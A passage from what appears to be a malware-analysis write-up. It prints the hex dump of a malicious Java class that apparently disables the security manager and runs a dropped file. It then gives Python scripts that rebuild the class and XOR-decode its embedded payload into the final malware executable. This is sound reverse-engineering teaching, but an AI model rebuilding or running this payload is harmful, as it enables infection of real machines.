37461636B54726163650100106A6176612F6C616E672F53797374656D010012
73657453656375726974794D616E6167657201001E284C6A6176612F6C616E6
72F53656375726974794D616E616765723B295601000B67657450726F706572
7479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6
C616E672F537472696E673B010008656E647357697468010015284C6A617661
2F6C616E672F537472696E673B295A010006617070656E6401002D284C6A617
6612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E
674275696C6465723B010008746F537472696E6701001428294C6A6176612F6
C616E672F537472696E673B01000776616C75654F660100162849294C6A6176
612F6C616E672F496E74656765723B0100116A6176612F6C616E672F52756E7
4696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E67
2F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672
F537472696E673B294C6A6176612F6C616E672F50726F636573733B01001528
4C6A6176612F6C616E672F537472696E673B295601000A6F70656E537472656
16D01001728294C6A6176612F696F2F496E70757453747265616D3B0100136A
6176612F696F2F496E70757453747265616D010004726561640100032829490
10005636C6F736501000428492956010018284C6A6176612F696F2F496E7075
7453747265616D3B2956010007285B424949294901000577726974650100072
85B424949295601000B746F42797465417272617901000428295B4201000777
616974466F720100146A6176612F696F2F4F757470757453747265616D01000
5285B422956010008696E7456616C75650100096E657874427974657301001B
2843294C6A6176612F6C616E672F537472696E674275666665723B0021003F0
040000100410005000100420043000000010044004300000001004500430000
00010046004300000001004700480000000500010049004A0001004B0000004
3000200020000002F2AB700012A1202B500032A1204B500052A1206B500072A
1208B500092A01B5000A2AB8000B4CA700084C2BB6000DB1000100210026002
9000C00000001004C004D0001004B0000002C00020004000000182A2CB50003
2A2BB5000A2AB8000B4EA700084E2DB6000DB10001000A000F0012000C00000
001004E004F0002004B0000031000070013000002DC01B8000E2AB4000AC700
0501B0120FB800104C2B1211B600129A00232B1213B600129A001ABB001459B
700152BB600161217B80010B60016B600184CBB001459B700151008B80019B8
001AB60016121BB60016B600184DBB001459B700152BB600162CB60016B6001
84E08BC08590310C954590410CB54590510C354590610A25459071091543A04
03360503360615062AB4000ABEA2002C15051904BEA100060336052AB4000A1
5062AB4000A1506331904150533829154840501840601A7FFD02A2D2AB4000A
B7001C100CBD001D3A0603360715071906BEA2000F190615070153840701A7F
FEF03360719061507B8001E04BD001F59032D53B6002053840701BB0021592A
B40003B700223A081908B600233A091909B60024571909B60025A7000A3A081
908B6002707BC0A3A081908031100C04F1908041100A64F1908051100DA4F19
08061100B74FBB001459B700152AB40005B60016BB0028591908032EB70029B
6002AB600162AB40009B60016BB0028591908042EB70029B6002AB600162AB4
0009B60016BB0028591908052EB70029B6002AB600162AB40009B60016BB002
8591908062EB70029B6002AB600162AB40007B60016B600183A09BB002B59BB
0021591909B70022B60023B7002C3A0ABB002D59B7002E3A0B113000BC083A0
C190A190C03190CBEB6002F59360D029F0010190B190C03150DB60030A7FFE4
190BB600313A0E190EBE112000A40053BB001459B700151007B80019B8001AB
60016121BB60016B600183A0FBB001459B700152BB60016190FB60016B60018
3A102A1910190EB7001C19061507B8001E04BD001F5903191053B6002053840
70103360815081906BEA2001A1906150832C6000C1906150832B60032578408
01A7FFE4A700563A081908B6002703360815081906BEA2001A1906150832C60
00C1906150832B6003257840801A7FFE4A7002A3A1103361215121906BEA200
1A1906151232C6000C1906151232B6003257841201A7FFE41911BF01B000050
101012001230026012A026202870026012A026202B300000287028E02B30000
02B302B502B300000000005000000004000100260002005100520002004B000
0001F0003000400000013BB0033592BB700344E2D2CB600352DB60036B10000
0000005000000004000100530009005400550001004B0000009A00040007000
0008E2AB60037BC084CBB003859B700394DBB003A59B7003B4E2C2BB6003C03
360415042BBEA200662B1504331100F07E077A9136052B150433100F7E91360
61505100AA200112D103015056092B6003D57A700112D10411505100A646092
B6003D571506100AA200112D103015066092B6003D57A700112D10411506100
A646092B6003D57840401A7FF992DB6003EB0000000000000

Then, let’s this array back to a .class file and use Java Decompiler later to decompile the .class file. We can create the .class file by using the python script below.

import binascii, sys

def main(szFileName):
    hFile = open(szFileName, "rb")
    szBytes = hFile.readlines()
    hb = binascii.a2b_hex(szBytes[0])
    hFileOut = open("payload.class", "wb")
    hFileOut.write(hb)
    hFileOut.close()
    hFile.close()

if __name__ == "__main__":
    if len(sys.argv) < 1:
        print("Please enter a filename!")
        exit(0)
    main(sys.argv[1])

After running it you should get back something like this:

 

Extracting the Malware File

As I’ve mentioned earlier, a Java Thread starts with a run() function, we can see that it’s trying to XOR nlfokjpqhpnjflnd, the payload, with the following XOR keys: -55, -53, -61, -94, -111, and eventually output an .exe file. So what i did was to write this simple python script to XOR nlfokjpqhpnjflnd with this set of XOR keys, -55, -53, -61, -94, -111. As the XOR keys are negative, all I did was a bitwise shift to positive integers: 201, 203, 195, 162, 145. This python script will save the result into an exe, which is the final malware.

import os,sys

def main(szFileName):
    hFile = open(szFileName, "rb")
    payload = bytearray(hFile.read())
    keys = [ 201, 203, 195, 162, 145 ]
    i = 0;
    for j in range(len(payload)):
        if i >= len(keys):
            i = 0
        payload[j] = (payload[j] ^ keys[i]);
        i+=1
    hFileOut = open("payload._exe_", "wb")
    hFileOut.write(payload)
    hFileOut.close()
    hFile.close()

if __name__ == "__main__":
    if len(sys.argv) < 1:
        print("Please enter a filename!")
        exit(0)
    main(sys.argv[1])

If you view it with a hex editor or notepad++, you should see something like this:

Now that you have the final malicious .exe. It’s time for you to start reversing it. Have Phun.

BR,

gunther_ar